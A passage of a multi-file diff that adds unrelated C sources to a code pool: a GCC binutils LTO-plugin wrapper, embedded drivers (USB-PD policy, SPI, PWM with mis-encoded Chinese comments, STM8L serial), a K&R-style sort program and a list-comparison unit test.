+/* A relative path to be used in finding the location of tools
+   relative to this program.  */
+
+static const char *const tooldir_base_prefix = TOOLDIR_BASE_PREFIX;
+
+/* The exec prefix as relocated from the location of this program.  */
+
+static const char *self_exec_prefix;
+
+/* The libexec prefix as relocated from the location of this program.  */
+
+static const char *self_libexec_prefix;
+
+/* The tools prefix as relocated from the location of this program.  */
+
+static const char *self_tooldir_prefix;
+
+/* The name of the machine that is being targeted.  */
+
+static const char *const target_machine = DEFAULT_TARGET_MACHINE;
+
+/* The target version.  */
+
+static const char *const target_version = DEFAULT_TARGET_VERSION;
+
+/* The collection of target specific path prefixes.  */
+
+static struct path_prefix target_path;
+
+/* The collection path prefixes.  */
+
+static struct path_prefix path;
+
+/* The directory separator.  */
+
+static const char dir_separator[] = { DIR_SEPARATOR, 0 };
+
+static void
+setup_prefixes (const char *exec_path)
+{
+  const char *self;
+
+  self = getenv ("GCC_EXEC_PREFIX");
+  if (!self)
+    self = exec_path;
+  else
+    self = concat (self, "gcc-" PERSONALITY, NULL);
+
+  /* Relocate the exec prefix.  */
+  self_exec_prefix = make_relative_prefix (self,
+					   standard_bin_prefix,
+					   standard_exec_prefix);
+  if (self_exec_prefix == NULL)
+    self_exec_prefix = standard_exec_prefix;
+
+  /* Relocate libexec prefix.  */
+  self_libexec_prefix = make_relative_prefix (self,
+					      standard_bin_prefix,
+					      standard_libexec_prefix);
+  if (self_libexec_prefix == NULL)
+    self_libexec_prefix = standard_libexec_prefix;
+
+
+  /* Build the relative path to the target-specific tool directory.  */
+  self_tooldir_prefix = concat (tooldir_base_prefix, target_machine,
+				dir_separator, NULL);
+  self_tooldir_prefix = concat (self_exec_prefix, target_machine, 
+				dir_separator, target_version, dir_separator,
+				self_tooldir_prefix, NULL);
+
+  /* Add the target-specific tool bin prefix.  */
+  prefix_from_string (concat (self_tooldir_prefix, "bin", NULL), &target_path);
+
+  /* Add the target-specific libexec prefix.  */
+  self_libexec_prefix = concat (self_libexec_prefix, target_machine, 
+				dir_separator, target_version,
+				dir_separator, NULL);
+  prefix_from_string (self_libexec_prefix, &target_path);
+
+  /* Add path as a last resort.  */
+  prefix_from_env ("PATH", &path);
+}
+
+int 
+main (int ac, char **av)
+{
+  const char *exe_name;
+  char *plugin;
+  int k, status, err;
+  const char *err_msg;
+  const char **nargv;
+  bool is_ar = !strcmp (PERSONALITY, "ar");
+  int exit_code = FATAL_EXIT_CODE;
+
+  setup_prefixes (av[0]);
+
+  /* Find the GCC LTO plugin */
+  plugin = find_a_file (&target_path, LTOPLUGINSONAME, R_OK);
+  if (!plugin)
+    {
+      fprintf (stderr, "%s: Cannot find plugin '%s'\n", av[0], LTOPLUGINSONAME);
+      exit (1);
+    }
+
+  /* Find the wrapped binutils program.  */
+  exe_name = find_a_file (&target_path, PERSONALITY, X_OK);
+  if (!exe_name)
+    {
+      const char *real_exe_name = PERSONALITY;
+#ifdef CROSS_DIRECTORY_STRUCTURE
+      real_exe_name = concat (target_machine, "-", PERSONALITY, NULL);
+#endif
+      exe_name = find_a_file (&path, real_exe_name, X_OK);
+      if (!exe_name)
+	{
+	  fprintf (stderr, "%s: Cannot find binary '%s'\n", av[0],
+		   real_exe_name);
+	  exit (1);
+	}
+    }
+
+  /* Create new command line with plugin */
+  nargv = XCNEWVEC (const char *, ac + 4);
+  nargv[0] = exe_name;
+  nargv[1] = "--plugin";
+  nargv[2] = plugin;
+  if (is_ar && av[1] && av[1][0] != '-')
+    av[1] = concat ("-", av[1], NULL);
+  for (k = 1; k < ac; k++)
+    nargv[2 + k] = av[k];
+  nargv[2 + k] = NULL;
+
+  /* Run utility */
+  /* ??? the const is misplaced in pex_one's argv? */
+  err_msg = pex_one (PEX_LAST|PEX_SEARCH, 
+		     exe_name, 
+		     CONST_CAST2 (char * const *, const char **, nargv),
+		     concat ("gcc-", exe_name, NULL),
+		     NULL,NULL,  &status, &err);
+  if (err_msg) 
+    fprintf (stderr, "Error running %s: %s\n", exe_name, err_msg);
+  else if (status)
+    {
+      if (WIFSIGNALED (status))
+	{
+	  int sig = WTERMSIG (status);
+	  fprintf (stderr, "%s terminated with signal %d [%s]%s\n",
+		   exe_name, sig, strsignal (sig),
+		   WCOREDUMP (status) ? ", core dumped" : "");
+	}
+      else if (WIFEXITED (status))
+	exit_code = WEXITSTATUS (status);
+    }
+  else
+    exit_code = SUCCESS_EXIT_CODE;
+
+  return exit_code;
+}
diff --git a/pool/shard001/C/0023480_usb_pd_policy.c b/pool/shard001/C/0023480_usb_pd_policy.c
new file mode 100644
index 0000000000000000000000000000000000000000..b7c0ca21dfa18587553f3d7a9c202be97b8467c4
--- /dev/null
+++ b/pool/shard001/C/0023480_usb_pd_policy.c
@@ -0,0 +1,71 @@
+/* Copyright 2021 The Chromium OS Authors. All rights reserved.
+ * Use of this source code is governed by a BSD-style license that can be
+ * found in the LICENSE file.
+ */
+
+#include "battery_smart.h"
+#include "charge_manager.h"
+#include "charger.h"
+#include "chipset.h"
+#include "common.h"
+#include "console.h"
+#include "driver/charger/isl923x_public.h"
+#include "driver/tcpm/tcpci.h"
+#include "usb_pd.h"
+
+#define CPRINTF(format, args...) cprintf(CC_USBPD, format, ## args)
+#define CPRINTS(format, args...) cprints(CC_USBPD, format, ## args)
+
+int pd_check_vconn_swap(int port)
+{
+	/* Allow VCONN swaps if the AP is on */
+	return chipset_in_state(CHIPSET_STATE_ANY_SUSPEND | CHIPSET_STATE_ON);
+}
+
+void pd_power_supply_reset(int port)
+{
+	if (port != 0)
+		return;
+
+	/* Disable VBUS */
+	tcpc_write(port, TCPC_REG_COMMAND, TCPC_REG_COMMAND_SRC_CTRL_LOW);
+
+	/* Notify host of power info change. */
+	pd_send_host_event(PD_EVENT_POWER_CHANGE);
+}
+
+int pd_set_power_supply_ready(int port)
+{
+	int rv;
+
+	if (port != 0)
+		return EC_ERROR_INVAL;
+
+	/* Disable charging. */
+	rv = tcpc_write(port, TCPC_REG_COMMAND, TCPC_REG_COMMAND_SNK_CTRL_LOW);
+	if (rv)
+		return rv;
+
+	/* Our policy is not to source VBUS when the AP is off. */
+	if (chipset_in_state(CHIPSET_STATE_ANY_OFF))
+		return EC_ERROR_NOT_POWERED;
+
+	/* Provide Vbus. */
+	rv = tcpc_write(port, TCPC_REG_COMMAND, TCPC_REG_COMMAND_SRC_CTRL_HIGH);
+	if (rv)
+		return rv;
+
+	rv = raa489000_enable_asgate(port, true);
+	if (rv)
+		return rv;
+
+	/* Notify host of power info change. */
+	pd_send_host_event(PD_EVENT_POWER_CHANGE);
+
+	return EC_SUCCESS;
+}
+
+int pd_snk_is_vbus_provided(int port)
+{
+	return pd_check_vbus_level(port, VBUS_PRESENT);
+}
diff --git a/pool/shard001/C/0023486_spi_master.c b/pool/shard001/C/0023486_spi_master.c
new file mode 100644
index 0000000000000000000000000000000000000000..31ff8c026413c87a4d78e873be52cc287f3d13e2
--- /dev/null
+++ b/pool/shard001/C/0023486_spi_master.c
@@ -0,0 +1,134 @@
+/*****************************************************************************
+ *
+ * \file
+ *
+ * \brief SPI Master driver for AVR UC3.
+ *
+ * This file defines a useful set of functions for the SPI interface on AVR UC3
+ * devices.
+ *
+ * Copyright (c) 2009-2015 Atmel Corporation. All rights reserved.
+ *
+ * \asf_license_start
+ *
+ * \page License
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice,
+ *    this list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ *    this list of conditions and the following disclaimer in the documentation
+ *    and/or other materials provided with the distribution.
+ *
+ * 3. The name of Atmel may not be used to endorse or promote products derived
+ *    from this software without specific prior written permission.
+ *
+ * 4. This software may only be redistributed and used in connection with an
+ *    Atmel microcontroller product.
+ *
+ * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
+ * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
+ * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+ * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * \asf_license_stop
+ *
+ ******************************************************************************/
+/*
+ * Support and FAQ: visit <a href="http://www.atmel.com/design-support/">Atmel Support</a>
+ */
+
+
+#include "spi_master.h"
+
+#ifdef FREERTOS_USED
+
+#include "FreeRTOS.h"
+#include "semphr.h"
+
+#endif
+
+void spi_master_setup_device(volatile avr32_spi_t *spi,
+		struct spi_device *device, spi_flags_t flags, uint32_t baud_rate,
+		board_spi_select_id_t sel_id)
+{
+	spi_set_chipselect_delay_bct(spi,device->id,CONFIG_SPI_MASTER_DELAY_BCT);
+	spi_set_chipselect_delay_bs(spi,device->id,CONFIG_SPI_MASTER_DELAY_BS);
+	spi_set_bits_per_transfer(spi,device->id,
+			CONFIG_SPI_MASTER_BITS_PER_TRANSFER);
+	spi_set_baudrate_register(spi,device->id,
+			getBaudDiv(baud_rate, sysclk_get_peripheral_bus_hz(spi)));
+	spi_enable_active_mode(spi,device->id);
+	spi_set_mode(spi,device->id,flags);
+
+#ifdef FREERTOS_USED
+	if (!xSPIMutex) {
+		// Create the SPI mutex.
+		vSemaphoreCreateBinary(xSPIMutex);
+		if (!xSPIMutex) {
+			while(1);
+		}
+	}
+#endif
+}
+
+status_code_t spi_read_packet(volatile avr32_spi_t *spi,
+		uint8_t *data, size_t len)
+{
+	unsigned int timeout = SPI_TIMEOUT;
+	uint8_t val;
+	size_t i=0;
+	while(len) {
+		timeout = SPI_TIMEOUT;
+		while (!spi_is_tx_ready(spi)) {
+			if (!timeout--) {
+				return ERR_TIMEOUT;
+			}
+		}
+		spi_write_single(spi,CONFIG_SPI_MASTER_DUMMY);
+		timeout = SPI_TIMEOUT;
+		while (!spi_is_rx_ready(spi)) {
+			if (!timeout--) {
+				return ERR_TIMEOUT;
+			}
+		}
+		spi_read_single(spi,&val);
+		data[i] = val;
+		i++;
+		len--;
+	}
+	return STATUS_OK;
+}
+
+status_code_t spi_write_packet(volatile avr32_spi_t *spi, const uint8_t *data,
+		size_t len)
+{
+	unsigned int timeout = SPI_TIMEOUT;
+	size_t i=0;
+	uint8_t val;
+	while(len) {
+		timeout = SPI_TIMEOUT;
+		while (!spi_is_tx_ready(spi)) {
+			if (!timeout--) {
+				return ERR_TIMEOUT;
+			}
+		}
+		val = data[i];
+		spi_write_single(spi,val);
+		i++;
+		len--;
+	}
+	return STATUS_OK;
+}
+
+//! @}
diff --git a/pool/shard001/C/0023488_ls1c_pwm.c b/pool/shard001/C/0023488_ls1c_pwm.c
new file mode 100644
index 0000000000000000000000000000000000000000..1b6fc915de976ce74b0e84ee14ebc6cb020c0799
--- /dev/null
+++ b/pool/shard001/C/0023488_ls1c_pwm.c
@@ -0,0 +1,197 @@
+// ·â×°Ó²¼þpwm½Ó¿Ú
+
+#include "ls1c_public.h"
+#include "ls1c_pin.h"
+#include "ls1c_pwm.h"
+#include "ls1c_clock.h"
+#include "ls1c_regs.h"
+
+
+
+// pwmµÄ×î´óÖÜÆÚ
+#define PWM_MAX_PERIOD                  (0xFFFFFF)      // ¼ÆÊýÆ÷µÄÖµ
+
+
+
+/*
+ * ¸ù¾Ýgpio»ñÈ¡ÏàÓ¦pwmµÄ»ùµØÖ·
+ * @gpio pwmÒý½Å
+ * @ret pwm»ùµØÖ·
+ */
+unsigned int pwm_get_reg_base(unsigned int gpio)
+{
+    unsigned int reg_base = 0;
+    
+    switch (gpio)
+    {
+        case LS1C_PWM0_GPIO06:
+        case LS1C_PWM0_GPIO04:
+            reg_base = LS1C_REG_BASE_PWM0;
+            break;
+
+        case LS1C_PWM1_GPIO92:
+        case LS1C_PWM1_GPIO05:
+            reg_base = LS1C_REG_BASE_PWM1;
+            break;
+
+        case LS1C_PWM2_GPIO52:
+        case LS1C_PWM2_GPIO46:
+            reg_base = LS1C_REG_BASE_PWM2;
+            break;
+
+        case LS1C_PWM3_GPIO47:
+        case LS1C_PWM3_GPIO53:
+            reg_base = LS1C_REG_BASE_PWM3;
+            break;
+    }
+
+    return reg_base;
+}
+
+
+/*
+ * ½ûÖ¹pwm
+ * @pwm_info PWMnµÄÏêϸÐÅÏ¢
+ */
+void pwm_disable(pwm_info_t *pwm_info)
+{
+    unsigned int pwm_reg_base = 0;
+    
+    // ¼ì²éÈë²Î
+    if (NULL == pwm_info)
+    {
+        return ;
+    }
+
+    pwm_reg_base = pwm_get_reg_base(pwm_info->gpio);
+    reg_write_32(0, (volatile unsigned int *)(pwm_reg_base + LS1C_PWM_CTRL));
+
+    return ;
+}
+
+
+
+/*
+ * ʹÄÜPWM
+ * @pwm_info PWMnµÄÏêϸÐÅÏ¢
+ */
+void pwm_enable(pwm_info_t *pwm_info)
+{
+    unsigned int pwm_reg_base = 0;
+    unsigned int ctrl = 0;
+
+    // ¼ì²éÈë²Î
+    if (NULL == pwm_info)
+    {
+        return ;
+    }
+
+    // »ñÈ¡»ùµØÖ·
+    pwm_reg_base = pwm_get_reg_base(pwm_info->gpio);
+
+    // ÇåÁã¼ÆÊýÆ÷
+    reg_write_32(0, (volatile unsigned int *)(pwm_reg_base + LS1C_PWM_CNTR));
+
+    // ÉèÖÿØÖƼĴæÆ÷
+    ctrl = (0 << LS1C_PWM_INT_LRC_EN)
+           | (0 << LS1C_PWM_INT_HRC_EN)
+           | (0 << LS1C_PWM_CNTR_RST)
+           | (0 << LS1C_PWM_INT_SR)
+           | (0 << LS1C_PWM_INTEN)
+           | (0 << LS1C_PWM_OE)
+           | (1 << LS1C_PWM_CNT_EN);
+    if (PWM_MODE_PULSE == pwm_info->mode)     // µ¥Âö³å
+    {
+        ctrl |= (1 << LS1C_PWM_SINGLE);
+    }
+    else                            // Á¬ÐøÂö³å
+    {
+        ctrl &= ~(1 << LS1C_PWM_SINGLE);
+    }
+    reg_write_32(ctrl, (volatile unsigned int *)(pwm_reg_base + LS1C_PWM_CTRL));
+    
+    return ;
+}
+
+
+
+/*
+ * ³õʼ»¯PWMn
+ * @pwm_info PWMnµÄÏêϸÐÅÏ¢
+ */
+void pwm_init(pwm_info_t *pwm_info)
+{
+    unsigned int gpio;
+    unsigned long pwm_clk = 0;          // pwmÄ£¿éµÄʱÖÓƵÂÊ
+    unsigned long tmp = 0;
+    unsigned int pwm_reg_base = 0;
+    unsigned long period = 0;
+    
+    // ÅжÏÈë²Î
+    if (NULL == pwm_info)
+    {
+        // Èë²Î·Ç·¨£¬ÔòÖ±½Ó·µ»Ø
+        return ;
+    }
+    gpio = pwm_info->gpio;
+
+    // ÅäÖÃÏàÓ¦Òý½ÅÓÃ×÷pwm£¬¶ø·Çgpio
+    pin_set_purpose(gpio, PIN_PURPOSE_OTHER);
+
+    // ¸´ÓÃ
+    switch (gpio)
+    {
+        // ²»ÐèÒª¸´ÓÃ
+        case LS1C_PWM0_GPIO06:
+        case LS1C_PWM1_GPIO92:
+            break;
+
+        case LS1C_PWM0_GPIO04:          // gpio04µÄµÚÈý¸´ÓÃ
+            pin_set_remap(LS1C_PWM0_GPIO04, PIN_REMAP_THIRD);
+            break;
+
+        case LS1C_PWM1_GPIO05:          // gpio05µÄµÚÈý¸´ÓÃ
+            pin_set_remap(LS1C_PWM1_GPIO05, PIN_REMAP_THIRD);
+            break;
+
+        case LS1C_PWM2_GPIO52:          // gpio52µÄµÚËĸ´ÓÃ
+            pin_set_remap(LS1C_PWM2_GPIO52, PIN_REMAP_FOURTH);
+            break;
+
+        case LS1C_PWM2_GPIO46:          // gpio46µÄµÚËĸ´ÓÃ
+            pin_set_remap(LS1C_PWM2_GPIO46, PIN_REMAP_FOURTH);
+            break;
+
+        case LS1C_PWM3_GPIO47:          // gpio47µÄµÚËĸ´ÓÃ
+            pin_set_remap(LS1C_PWM3_GPIO47, PIN_REMAP_FOURTH);
+            break;
+
+        case LS1C_PWM3_GPIO53:          // gpio53µÄµÚËĸ´ÓÃ
+            pin_set_remap(LS1C_PWM3_GPIO53, PIN_REMAP_FOURTH);
+            break;
+
+        default:
+            break;
+    }
+
+    // ¸ù¾ÝÕ¼¿Õ±ÈºÍpwmÖÜÆÚ¼ÆËã¼Ä´æÆ÷HRCºÍLRCµÄÖµ
+    // Á½¸ö64λÊýÏà³Ë£¬Ö»Äܵõ½µÍ32룬linuxÏÂÈ´¿ÉÒԵõ½64λ½á¹û£¬
+    // Ôݲ»Çå³þÔ­Òò£¬Óø¡µãÔËËã´úÌæ
+    pwm_clk = clk_get_apb_rate();
+    period = (1.0 * pwm_clk * pwm_info->period_ns) / 1000000000;
+    period = MIN(period, PWM_MAX_PERIOD);       // ÏÞÖÆÖÜÆÚ²»Äܳ¬¹ý×î´óÖµ
+    tmp = period - (period * pwm_info->duty);
+    
+    // д¼Ä´æÆ÷HRCºÍLRC
+    pwm_reg_base = pwm_get_reg_base(gpio);
+    reg_write_32(--tmp, (volatile unsigned int *)(pwm_reg_base + LS1C_PWM_HRC));
+    reg_write_32(--period, (volatile unsigned int *)(pwm_reg_base + LS1C_PWM_LRC));
+
+    // дÖ÷¼ÆÊýÆ÷
+    pwm_enable(pwm_info);
+    
+    return ;
+}
+
+
+
diff --git a/pool/shard001/C/0023501_sortv2.c b/pool/shard001/C/0023501_sortv2.c
new file mode 100644
index 0000000000000000000000000000000000000000..11e10323f4f75f5ec0eb2def727580638b5dda1c
--- /dev/null
+++ b/pool/shard001/C/0023501_sortv2.c
@@ -0,0 +1,131 @@
+#include<stdio.h>
+#include<string.h>
+
+#define MAXLINES 5000   /* max #lines to be sorted */
+
+char *lineptr[MAXLINES];
+char linestor[MAXLINES];
+
+int readlines(char *lineptr[],char *linestor,int nlines);
+void writelines(char *lineptr[],int nlines);
+
+void qsort(char *lineptr[],int left,int right);
+
+/* sort input lines */
+
+int main(void)
+{
+    int nlines; /* number of input lines read */
+    
+    if((nlines = readlines(lineptr,linestor,MAXLINES)) >= 0)
+    {
+        qsort(lineptr,0,nlines-1);
+        writelines(lineptr,nlines);
+        return 0;
+    }
+    else
+    {
+        printf("error: input too big to sort \n");
+        return 1;
+    }
+}
+
+#define MAXLEN 1000 /* max length of any input line */
+#define MAXSTOR 5000
+
+int getline(char *,int);
+char *alloc(int);
+
+/* readlines: read input lines */
+int readlines(char *lineptr[],char *linestor,int maxlines)
+{
+    int len,nlines;
+    char line[MAXLEN];
+    char *p = linestor;
+    char *linestop = linestor + MAXSTOR;
+
+    nlines=0;
+
+    while((len=getline(line,MAXLEN)) > 0)
+        if(nlines >= maxlines || p+len > linestop)
+            return -1;
+        else
+        {
+            line[len-1] = '\0';
+            strcpy(p,line);
+            lineptr[nlines++]=p;
+            p+=len;
+        }
+    return nlines;
+}
+
+/* writelines: write output lines */
+void writelines(char *lineptr[],int nlines)
+{
+    int i;
+    for(i=0;i<nlines;i++)
+        printf("%s\n",lineptr[i]);
+}
+
+/* qsort: sort v[left] ... v[right] into increasing order */
+void qsort(char *v[],int left,int right)
+{
+    int i,last;
+    void swap(char *v[],int i,int j);
+    
+    if(left >= right)
+        return;
+    swap(v,left,(left+right)/2);
+
+    last = left;
+    
+    for(i=left+1;i<=right;i++)
+        if(strcmp(v[i],v[left])<0)
+            swap(v,++last,i);
+    swap(v,left,last);
+    qsort(v,left,last-1);
+    qsort(v,last+1,right);
+}
+
+/* swap: interchange v[i] and v[j] */
+
+void swap(char *v[],int i,int j)
+{
+    char *temp;
+    
+    temp=v[i];
+    v[i]=v[j];
+    v[j]=temp;
+}
+
+#define ALLOCSIZE 10000  /* size of available space */
+
+static char allocbuf[ALLOCSIZE];    /* storage for alloc */
+static char *allocp = allocbuf;     /* next free position */
+
+char *alloc(int n)  /* return pointer to n characters */
+{
+    if(allocbuf + ALLOCSIZE - allocp >= n)
+    {
+        allocp += n;
+        return allocp -n;
+    }
+    else
+        return 0;
+}
+
+int getline(char *s,int lim)
+{
+    int c;
+    char *t=s;
+    
+    while(--lim >0 && (c=getchar())!=EOF && c!='\n')
+        *s++ = c;
+    if( c == '\n')
+        *s++ = c;
+
+    *s= '\0';
+
+    return s-t;
+}
+
diff --git a/pool/shard001/C/0023532_ut_slst_rcmp.c b/pool/shard001/C/0023532_ut_slst_rcmp.c
new file mode 100644
index 0000000000000000000000000000000000000000..55482b01d319751fa0b5f7e2808da0365eb9e948
--- /dev/null
+++ b/pool/shard001/C/0023532_ut_slst_rcmp.c
@@ -0,0 +1,141 @@
+/*
+** ut_slst_rcmp.c
+**
+** Unit tests for slst_rcmp function of Undefined-C library
+**
+** By: Juillard Jean-Baptiste (jbjuillard@gmail.com)
+**
+** Created: 2017/01/17 by Juillard Jean-Baptiste
+** Updated: 2018/03/21 by Juillard Jean-Baptiste
+**
+** This file is a part free software; you can redistribute it and/or
+** modify it under the terms of the GNU General Public License as
+** published by the Free Software Foundation; either version 3, or
+** (at your option) any later version.
+**
+** There is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+** General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; see the file LICENSE.  If not, write to
+** the Free Software Foundation, Inc., 51 Franklin Street, Fifth
+** Floor, Boston, MA 02110-1301, USA.
+*/
+
+#include <libuc/stdlib.h>
+#include <libuc/stdint.h>
+#include <libuc/limits.h>
+#include <libuc/stdlst.h>
+#include <libuc/errno.h>
+#include "test.h"
+
+typedef struct	test_s
+{
+	int			lst1;
+	int			ptr1;
+	int			NULLptr1;
+	int			lst2;
+	int			ptr2;
+	int			NULLptr2;
+	void		*f;
+	int			err;
+	int			ret;
+}				test_t;
+
+int	ut_slst_rcmp_interface(int N)
+{
+	slst_t			*lst1;
+	slst_t			**lptr1;
+	slst_t			*ptr1;
+	slst_t			*lst2;
+	slst_t			**lptr2;
+	slst_t			*ptr2;
+	int				ret;
+	int				err;
+	int				i;
+	static test_t	ut_list[10] = {	{0,1,1,1,1,1,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,0,1,1,1,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,1,0,1,1,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,1,1,1,0,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,0,1,1,1,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,1,1,1,0,((void *)(&_ocmp)),EINVAL,0},
+									{1,1,1,1,1,1,NULL,EINVAL,0},
+									{1,0,1,1,1,1,((void *)(&_ocmp)),0,1},
+									{1,1,1,1,0,1,((void *)(&_ocmp)),0,1},
+									{1,1,1,1,1,1,((void *)(&_ocmp)),0,1}};
+
+	i = 0;
+	err = 0xFF;
+	while (i < 10)
+	{
+		if ((lst1 = _gen_slst(0, N, 1)) == (slst_t *)(NULL)
+			|| (lst2 = _gen_slst(0, (N - 1), 1)) == (slst_t *)(NULL))
+		{
+			if (lst1)
+				slst_purge(&lst1, &_ofree);
+			return (errno);
+		}
+		if ((ut_list[i]).lst1)
+			lptr1 = &lst1;
+		else
+			lptr1 = (slst_t **)(NULL);
+		if ((ut_list[i]).lst2)
+			lptr2 = &lst2;
+		else
+			lptr2 = (slst_t **)(NULL);
+		ptr1 = ((ut_list[i]).NULLptr1 ? (slst_t *)(NULL) : (slst_t *)(0xFFFFFFFF));
+		ptr2 = ((ut_list[i]).NULLptr2 ? (slst_t *)(NULL) : (slst_t *)(0xFFFFFFFF));
+		errno = 0;
+		ret = slst_rcmp(lptr1,
+					    ((ut_list[i]).ptr1 ? &ptr1 : (slst_t **)(NULL)),
+						lptr2,
+					    ((ut_list[i]).ptr2 ? &ptr2 : (slst_t **)(NULL)),
+						(int (*)(const void *, const size_t, const void *, const size_t))((ut_list[i]).f));
+		if (errno != (ut_list[i]).err
+			|| (ret != (ut_list[i]).ret))
+		{
+			slst_purge(&lst1, &_ofree);
+			slst_purge(&lst2, &_ofree);
+			return (err);
+		}
+		slst_purge(&lst1, &_ofree);
+		slst_purge(&lst2, &_ofree);
+		i++;
+		err--;
+	}
+	return (0);
+}
+
+int	ut_slst_rcmp_memchk(int N)
+{
+	slst_t	*lst1;
+	slst_t	*lst2;
+	int		ret;
+
+	errno = 0;
+	if ((lst1 = _gen_slst(0, N, 1)) == (slst_t *)(NULL)
+		|| (lst2 = _gen_slst(0, N, 1)) == (slst_t *)(NULL))
+	{
+		if (lst1)
+			slst_purge(&lst1, &_ofree);
+		return (errno);
+	}
+	if ((ret = slst_rcmp(&lst1, (slst_t **)(NULL), &lst2, (slst_t **)(NULL), &_ocmp)) || errno)
+	{
+		slst_purge(&lst1, &_ofree);
+		slst_purge(&lst2, &_ofree);
+		if (errno)
+			return (errno);
+		return (0xFF);
+	}
+	slst_purge(&lst1, &_ofree);
+	slst_purge(&lst2, &_ofree);
+	return (0);
+}
+
+int	ut_slst_rcmp_timeout(int N)
+{
+	return (ut_slst_rcmp_memchk(N));
+}
diff --git a/pool/shard001/C/0023539_serial_lld.c b/pool/shard001/C/0023539_serial_lld.c
new file mode 100644
index 0000000000000000000000000000000000000000..2ef60bce825fb022a12f1b0703b0f6d36dabd212
--- /dev/null
+++ b/pool/shard001/C/0023539_serial_lld.c
@@ -0,0 +1,209 @@
+/*
+    ChibiOS/RT - Copyright (C) 2006-2013 Giovanni Di Sirio
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+        http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+*/
+
+/**
+ * @file    STM8L/serial_lld.c
+ * @brief   STM8L low level serial driver code.
+ *
+ * @addtogroup SERIAL
+ * @{
+ */
+
+#include "ch.h"
+#include "hal.h"
+
+#if HAL_USE_SERIAL || defined(__DOXYGEN__)
+
+/*===========================================================================*/
+/* Driver exported variables.                                                */
+/*===========================================================================*/
+
+/**
+ * @brief   USART1 serial driver identifier.
+ */
+#if STM8L_SERIAL_USE_USART1 || defined(__DOXYGEN__)
+SerialDriver SD1;
+#endif
+
+/**
+ * @brief   USART2 serial driver identifier.
+ */
+#if STM8L_SERIAL_USE_USART2 || defined(__DOXYGEN__)
+SerialDriver SD2;
+#endif
+
+/**
+ * @brief   USART3 serial driver identifier.
+ */
+#if STM8L_SERIAL_USE_USART3 || defined(__DOXYGEN__)
+SerialDriver SD3;
+#endif
+
+/*===========================================================================*/
+/* Driver local variables and types.                                         */
+/*===========================================================================*/
+
+/**
+ * @brief   Driver default configuration.
+ */
+static ROMCONST SerialConfig default_config = {
+  BRR(SERIAL_DEFAULT_BITRATE),
+  SD_MODE_PARITY_NONE | SD_MODE_STOP_1
+};
+
+/*===========================================================================*/
+/* Driver local functions.                                                   */
+/*===========================================================================*/
+
+#if STM8L_SERIAL_USE_USART1 || defined(__DOXYGEN__)
+static void notify1(GenericQueue *qp) {
+
+  (void)qp;
+  USART1->CR2 |= USART_CR2_TIEN;
+}
+#endif /* STM8L_SERIAL_USE_USART1 */
+
+#if STM8L_SERIAL_USE_USART2 || defined(__DOXYGEN__)
+static void notify2(GenericQueue *qp) {
+
+  (void)qp;
+  USART2->CR2 |= USART_CR2_TIEN;
+}
+#endif /* STM8L_SERIAL_USE_USART1 */
+
+#if STM8L_SERIAL_USE_USART3 || defined(__DOXYGEN__)
+static void notify3(GenericQueue *qp) {
+
+  (void)qp;
+  USART3->CR2 |= USART_CR2_TIEN;
+}
+#endif /* STM8L_SERIAL_USE_USART3 */
+
+/*===========================================================================*/
+/* Driver interrupt handlers.                                                */
+/*===========================================================================*/
+
+/* See in serial_lld.h.*/
+
+/*===========================================================================*/
+/* Driver exported functions.                                                */
+/*===========================================================================*/
+
+/**
+ * @brief   Error handling routine.
+ *
+ * @param[in] sdp       pointer to a @p SerialDriver object
+ * @param[in] sr        USART SR register value
+ *
+ * @notapi
+ */
+void sd_lld_set_error(SerialDriver *sdp, uint8_t sr) {
+  flagsmask_t sts = 0;
+
+  if (sr & USART_SR_OR)
+    sts |= SD_OVERRUN_ERROR;
+  if (sr & USART_SR_NF)
+    sts |= SD_NOISE_ERROR;
+  if (sr & USART_SR_FE)
+    sts |= SD_FRAMING_ERROR;
+  if (sr & USART_SR_PE)
+    sts |= SD_PARITY_ERROR;
+  chSysLockFromIsr();
+  chnAddFlagsI(sdp, sts);
+  chSysUnlockFromIsr();
+}
+
+/**
+ * @brief   Low level serial driver initialization.
+ *
+ * @notapi
+ */
+void sd_lld_init(void) {
+
+#if STM8L_SERIAL_USE_USART1
+  sdObjectInit(&SD1, NULL, notify1);
+  CLK->PCKENR1 |= CLK_PCKENR1_USART1;       /* PCKEN12, clock source.       */
+  USART1->CR1 = USART_CR1_USARTD;           /* USARTD (low power).          */
+  SD1.usart = USART1;
+#endif
+
